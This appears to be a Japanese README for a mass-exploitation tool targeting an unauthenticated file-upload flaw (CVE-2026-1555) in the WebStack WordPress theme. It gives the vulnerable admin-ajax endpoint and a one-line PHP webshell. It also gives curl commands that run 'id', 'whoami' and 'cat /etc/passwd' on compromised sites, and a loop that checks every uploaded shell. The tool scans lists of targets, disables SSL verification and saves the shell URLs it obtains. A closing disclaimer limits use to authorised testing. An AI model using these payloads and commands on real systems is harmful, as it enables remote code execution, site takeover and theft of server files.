CVE-2026-1555

WebStack <= 1.2024 - 認証なし任意ファイルアップロード

📌 脆弱性概要

🔬 技術的根本原因

WordPress の admin-ajax.php アクションフック img_upload に登録されている io_img_upload() 関数は、アップロードされたファイルをサーバーに書き込む前に、ファイルタイプや拡張子の検証を一切行いません。このアクションは認証チェックなし（wp_ajax_nopriv_）で登録されているため、認証されていないリモートの攻撃者は PHP ウェブシェルを含む任意のファイルを POST でき、サーバーはそれを公開アクセス可能なパスに保存するため、直接的なリモートコード実行が可能になります。

脆弱なエンドポイント:

POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>

⚙️ ツール機能

• 🔁 ワーカー数を設定可能なマルチスレッドスキャン
• 📋 ターゲットリストファイルによる一括ターゲット対応
• 📤 JSON レスポンスからのシェル URL 自動抽出
• 💾 成功したシェル URL を uploaded_paths.txt に保存
• 🎨 ライブ進捗トラッキング付きのリッチなターミナル UI
• 🔕 最大限の互換性のため SSL 検証を無効化

📦 必要条件

Python バージョン: 3.8+

依存関係をインストール:

pip install requests rich urllib3

🚀 使用方法

1. ターゲットリストを準備する

list.txt（または任意の名前）というファイルを作成し、1 行に 1 ターゲットを記述します:

https://target1.com
https://target2.com
http://target3.com

http:// または https:// が付いていないターゲットには、自動的に http:// がプレフィックスとして付加されます。

2. ペイロードを準備する

ウェブシェルをスクリプトと同じディレクトリに配置します。例:

# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

3. ツールを実行する

python CVE-2026-1555.py

以下の入力を求められます:

📤 出力とシェル抽出

ライブ出力

アップロードが成功するたびに以下が表示されます:

╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful                              │
│                                                │
│ Target:    https://target.com                  │
│ Shell URL: https://target.com/wp-content/...   │
╰────────────────────────────────────────────────╯

保存された結果

成功したすべてのシェル URL が以下に追記されます:

uploaded_paths.txt

シェルへのアクセス

アップロード成功後、ブラウザまたは curl でシェルに直接アクセスできます:

# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id

# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"

# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"

正確なアップロードパスはサーバーの JSON レスポンス（data.src）から抽出され、自動的に表示されます。

シェルの一括検証

出力ファイルからアップロード済みの全シェルをすばやく検証します:

while read url; do
  echo -n "[*] $url -> "
  curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt

📊 サマリー出力

各実行の終了時にサマリーが表示されます:

Summary  50/50  OK: 12  FAIL: 38
╭──────────────────────────────────────────╮
│  Shell URLs saved to uploaded_paths.txt  │
╰──────────────────────────────────────────╯

🗂️ ファイル構成

CVE-2026-1555.py       ← Main exploit script
list.txt               ← Target URLs (one per line)
shell.php              ← Payload to upload
uploaded_paths.txt     ← Auto-generated: successful shell URLs

⚠️ 免責事項

このツールは、正規の許可を得たペネトレーションテスト、セキュリティ研究、教育目的のみに提供されています。

作者である Nxploited は、このツールを使用して行われた不正使用、損害、または違法行為について一切の責任を負いません。このツールを使用することで、すべてのターゲットシステムをテストする明示的な書面による許可を得ていることを確認したことになります。

所有していない、またはテストする明示的な許可を得ていないシステムに対する不正使用は違法であり、該当するサイバー犯罪法に基づき刑事訴追される可能性があります。

責任を持って使用してください。あなた自身の行動に対して単独で責任を負います。